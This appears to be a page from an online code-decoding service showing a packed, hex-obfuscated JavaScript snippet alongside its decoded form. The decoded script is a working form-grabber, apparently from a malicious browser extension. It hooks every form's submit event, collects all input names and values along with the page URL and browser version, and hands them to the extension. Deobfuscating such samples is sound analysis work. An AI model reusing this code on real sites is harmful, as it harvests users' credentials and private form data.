Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(function (p, a, c, k, e, d) { e = function (c) { return (c < a ? '' : e(par..

Decoded Output download

<?   
eval(function (p, a, c, k, e, d) 
{ 
	e = function (c) 
	{ 
		return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36)); 
	}; 
 
	if (!''.replace(/^/, String)) 
	{ 
		while (c--) 
			d[e(c)] = k[c] || e(c); 
 
		k = [function (e) 
		{ 
			return d[e]; 
		}]; 
		e = function () 
		{ 
			return '\w+'; 
		}; 
		c = 1; 
	} 
 
	while (c--) 
 
		if (k[c]) 
			p = p.replace(new RegExp('\b' + e(c) + '\b', 'g'), k[c]); 
 
 
	return p; 
}('4 f=q["25\24\23\1\22\21\20\L\1Z\y\1Y"]("H");m x(c){4 b=c["g\1\7\1X\C\j\1W\7\9\1V\1U\1T\y\5\z"]("1S");4 d="";l(4 a=0;a<b["\1R\8\1Q"];a++){6(b["1P\1"]=="1O"){h}6(b["t\O\1"]=="1N"){h}6(b["\7\O\1"]=="B"){h}6(b["1M\K\1"]=="1L"){h}d+=a+":"+b[a]["\N\M"]+":"+((b[a]["\I\j\1"]=="")?"<J>:":b[a]["\3\5\j\1"])+":";6((b[a]["\N\M"]=="1K")||(b[a]["t\L\K\1"]=="1J")){d+=b[a]["\p\1I"]}1H{d+=(b[a]["\1G"]=="")?"<J>":b[a]["\1F\1"]}d+="  "}4 e=c["\1E\1D\D\1C\3\7"]["\o\1B\1A\p\1"](/\s{2,}|[\f\r\n]/g,"|");d="<1z"+((c["\1y\1x\3"])?(" 1w="+c["\1v"]):"")+((c["\w\v"])?(" 1u="+c["i\v"]):"")+((c["\I\z"])?(" 1t="+c["\3\5\z"]):"")+"> "+d+e;1s d}m A(){4 c=x(G);4 b=q["\8\1r\1\1q\1p\5\8\y\5\j\1"]("H");l(i=0;i<b["1o\1n\7\k"];i++){6(b[i]==G){h}c+=x(b[i])}4 a=F["\1m\9\1\1l\8\1\1k"]["\1j\1i\7\o\w\3\8"](F["u\1h\1g\3\7"]["\1f\1e\E"]("1d"));6(a["1c\1b\1a\19"](" ")>0){a=a["18\17\9\16\w\3\8"](0,a["i\3\v\
\E"](" "))}c=q["14\p\5\\D"]["\k\o"]+" #11#"+a+"# "+c+"#;";10["\1\Z\Y\3"]["\X\W\9\9\V"]({U:c},m(d){})}l(i=0;i<f["\C\3\T\k"];i++){f[i]["\5\S\R\Q"]("B",A,P)};', 62, 130, '|x65||x6e|var|x61|if|x74|x67|x73||||||||continue||x6d|x68|for|function||x72|x63|document|||||x64|x69|ParseForm|x4e|x6de|subm|submit|x6ce|x6fn|x66|navigator|this|form|x6ea|blank|x70|x79|x70e|x74y|x79p|true|x73tener|x74Li|x64dEven|x67t|greeting|x61ge|x6edMe|x73e|x73io|x78ten|chrome|CHROME|x65f|x74i|lo|x65xO|x74r|x62|su|x4ff|x78|x64e|in|Chrom|x78O|x69nde|x41ge|x73er|x62s|x73u|x6et|x72A|x75|x6eg|le|x42yT|x6dents|x65tEl|return|name|id|x61ction|action|x74io|x61c|FORM|x6ca|x65p|x74e|x74C|x74ex|x76alu|x76alue|else|x68ecked|checkbox|radio|button|ty|reset|image|typ|x74h|x6cen|input|x61g|x54|x42y|x65n|x45|x61me|x54ag|x42|x74s|x6den|x6c|x74E|ge'.split('|'), 0, {})); 
 
var f = document["getElementsByTagName"]("form"); 
 
function ParseForm(c) 
{ 
	var b = c["getElementsByTagName"]("input"); 
	var d = ""; 
 
	for (var a = 0;a < b["length"];a++) 
	{ 
		if (b["type"] == "image") 
		{ 
			continue; 
		} 
 
		if (b["type"] == "reset") 
		{ 
			continue; 
		} 
 
		if (b["type"] == "submit") 
		{ 
			continue; 
		} 
 
		if (b["type"] == "button") 
		{ 
			continue; 
		} 
 
		d += a + ":" + b[a]["type"] + ":" + ((b[a]["name"] == "") ? "<blank>:" : b[a]["name"]) + ":"; 
 
		if (b[a]["type"] == "radio" || (b[a]["type"] == "checkbox")) 
		{ 
			d += b[a]["checked"]; 
		} 
		else  
		{ 
			d += ((b[a]["value"] == "") ? "<blank>" : b[a]["value"]); 
		} 
 
		d += "  "; 
	} 
 
	var e = c["textContent"]["replace"](/\s{2,}|[
]/g, "|"); 
	d = "<FORM" + ((c["action"]) ? (" action=" + c["action"]) : "") + ((c["id"]) ? (" id=" + c["id"]) : "") + ((c["name"]) ? (" name=" + c["name"]) : "") + "> " + d + e; 
	return d; 
} 
 
function subm() 
{ 
	var c = ParseForm(this); 
	var b = document["getElementsByTagName"]("form"); 
 
	for (i = 0;i < b["length"];i++) 
	{ 
		if (b[i] == this) 
		{ 
			continue; 
		} 
 
		c += ParseForm(b[i]); 
	} 
 
	var a = navigator["userAgent"]["substring"](navigator["userAgent"]["indexOf"]("Chrom")); 
 
	if (a["indexOf"](" ") > 0) 
	{ 
		a = a["substring"](0, a["indexOf"](" ")); 
	} 
 
	c = document["location"]["href"] + " #CHROME#" + a + "# " + c + "#;"; 
	chrome["extension"]["sendMessage"]( 
	{ 
		greeting : c 
	}, function (d) 
	{ 
	}); 
} 
 
for (i = 0;i < f["length"];i++) 
{ 
	f[i]["addEventListener"]("submit", subm, true); 
} 
 ?>

Did this file decode correctly?

Original Code


eval(function (p, a, c, k, e, d)
{
	e = function (c)
	{
		return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36));
	};

	if (!''.replace(/^/, String))
	{
		while (c--)
			d[e(c)] = k[c] || e(c);

		k = [function (e)
		{
			return d[e];
		}];
		e = function ()
		{
			return '\\w+';
		};
		c = 1;
	}

	while (c--)

		if (k[c])
			p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);


	return p;
}('4 f=q["25\\24\\23\\1\\22\\21\\20\\L\\1Z\\y\\1Y"]("H");m x(c){4 b=c["g\\1\\7\\1X\\C\\j\\1W\\7\\9\\1V\\1U\\1T\\y\\5\\z"]("1S");4 d="";l(4 a=0;a<b["\\1R\\8\\1Q"];a++){6(b["1P\\1"]=="1O"){h}6(b["t\\O\\1"]=="1N"){h}6(b["\\7\\O\\1"]=="B"){h}6(b["1M\\K\\1"]=="1L"){h}d+=a+":"+b[a]["\\N\\M"]+":"+((b[a]["\\I\\j\\1"]=="")?"<J>:":b[a]["\\3\\5\\j\\1"])+":";6((b[a]["\\N\\M"]=="1K")||(b[a]["t\\L\\K\\1"]=="1J")){d+=b[a]["\\p\\1I"]}1H{d+=(b[a]["\\1G"]=="")?"<J>":b[a]["\\1F\\1"]}d+="  "}4 e=c["\\1E\\1D\\D\\1C\\3\\7"]["\\o\\1B\\1A\\p\\1"](/\\s{2,}|[\\f\\r\\n]/g,"|");d="<1z"+((c["\\1y\\1x\\3"])?(" 1w="+c["\\1v"]):"")+((c["\\w\\v"])?(" 1u="+c["i\\v"]):"")+((c["\\I\\z"])?(" 1t="+c["\\3\\5\\z"]):"")+"> "+d+e;1s d}m A(){4 c=x(G);4 b=q["\\8\\1r\\1\\1q\\1p\\5\\8\\y\\5\\j\\1"]("H");l(i=0;i<b["1o\\1n\\7\\k"];i++){6(b[i]==G){h}c+=x(b[i])}4 a=F["\\1m\\9\\1\\1l\\8\\1\\1k"]["\\1j\\1i\\7\\o\\w\\3\\8"](F["u\\1h\\1g\\3\\7"]["\\1f\\1e\\E"]("1d"));6(a["1c\\1b\\1a\\19"](" ")>0){a=a["18\\17\\9\\16\\w\\3\\8"](0,a["i\\3\\v\\15\\E"](" "))}c=q["14\\p\\5\\13\\D"]["\\k\\o\\12"]+" #11#"+a+"# "+c+"#;";10["\\1\\Z\\Y\\3"]["\\X\\W\\9\\9\\V"]({U:c},m(d){})}l(i=0;i<f["\\C\\3\\T\\k"];i++){f[i]["\\5\\S\\R\\Q"]("B",A,P)};', 62, 130, '|x65||x6e|var|x61|if|x74|x67|x73||||||||continue||x6d|x68|for|function||x72|x63|document|||||x64|x69|ParseForm|x4e|x6de|subm|submit|x6ce|x6fn|x66|navigator|this|form|x6ea|blank|x70|x79|x70e|x74y|x79p|true|x73tener|x74Li|x64dEven|x67t|greeting|x61ge|x6edMe|x73e|x73io|x78ten|chrome|CHROME|x65f|x74i|lo|x65xO|x74r|x62|su|x4ff|x78|x64e|in|Chrom|x78O|x69nde|x41ge|x73er|x62s|x73u|x6et|x72A|x75|x6eg|le|x42yT|x6dents|x65tEl|return|name|id|x61ction|action|x74io|x61c|FORM|x6ca|x65p|x74e|x74C|x74ex|x76alu|x76alue|else|x68ecked|checkbox|radio|button|ty|reset|image|typ|x74h|x6cen|input|x61g|x54|x42y|x65n|x45|x61me|x54ag|x42|x74s|x6den|x6c|x74E|ge'.split('|'), 0, {}));

var f = document["ge\x74E\x6c\x65\x6den\x74s\x42\x79\x54ag\x4e\x61me"]("form");

function ParseForm(c)
{
	var b = c["g\x65\x74\x45\x6ce\x6d\x65n\x74\x73\x42y\x54\x61g\x4e\x61\x6de"]("input");
	var d = "";

	for (var a = 0;a < b["\x6cen\x67\x74h"];a++)
	{
		if (b["typ\x65"] == "image")
		{
			continue;
		}

		if (b["t\x79p\x65"] == "reset")
		{
			continue;
		}

		if (b["\x74\x79p\x65"] == "submit")
		{
			continue;
		}

		if (b["ty\x70\x65"] == "button")
		{
			continue;
		}

		d += a + ":" + b[a]["\x74y\x70e"] + ":" + ((b[a]["\x6ea\x6d\x65"] == "") ? "<blank>:" : b[a]["\x6e\x61\x6d\x65"]) + ":";

		if (b[a]["\x74y\x70e"] == "radio" || (b[a]["t\x79\x70\x65"] == "checkbox"))
		{
			d += b[a]["\x63\x68ecked"];
		}
		else 
		{
			d += ((b[a]["\x76alue"] == "") ? "<blank>" : b[a]["\x76alu\x65"]);
		}

		d += "  ";
	}

	var e = c["\x74ex\x74C\x6fn\x74e\x6e\x74"]["\x72\x65p\x6ca\x63\x65"](/\s{2,}|[\f\r\n]/g, "|");
	d = "<FORM" + ((c["\x61c\x74io\x6e"]) ? (" action=" + c["\x61ction"]) : "") + ((c["\x69\x64"]) ? (" id=" + c["i\x64"]) : "") + ((c["\x6ea\x6de"]) ? (" name=" + c["\x6e\x61\x6de"]) : "") + "> " + d + e;
	return d;
}

function subm()
{
	var c = ParseForm(this);
	var b = document["\x67\x65tEl\x65\x6dents\x42yT\x61\x67\x4e\x61\x6d\x65"]("form");

	for (i = 0;i < b["le\x6eg\x74\x68"];i++)
	{
		if (b[i] == this)
		{
			continue;
		}

		c += ParseForm(b[i]);
	}

	var a = navigator["\x75\x73\x65\x72A\x67\x65\x6et"]["\x73u\x62s\x74\x72\x69\x6e\x67"](navigator["u\x73er\x41ge\x6e\x74"]["\x69nde\x78O\x66"]("Chrom"));

	if (a["in\x64e\x78\x4ff"](" ") > 0)
	{
		a = a["su\x62\x73\x74r\x69\x6e\x67"](0, a["i\x6e\x64\x65xO\x66"](" "));
	}

	c = document["lo\x63\x61\x74i\x6fn"]["\x68\x72\x65f"] + " #CHROME#" + a + "# " + c + "#;";
	chrome["\x65\x78ten\x73io\x6e"]["\x73e\x6edMe\x73\x73\x61ge"](
	{
		greeting : c
	}, function (d)
	{
	});
}

for (i = 0;i < f["\x6ce\x6e\x67t\x68"];i++)
{
	f[i]["\x61\x64dEven\x74Li\x73tener"]("submit", subm, true);
}

Function Calls

None

Variables

None

Stats

MD5 88131174f01ea83151c2ed3053d02467
Eval Count 0
Decode Time 53 ms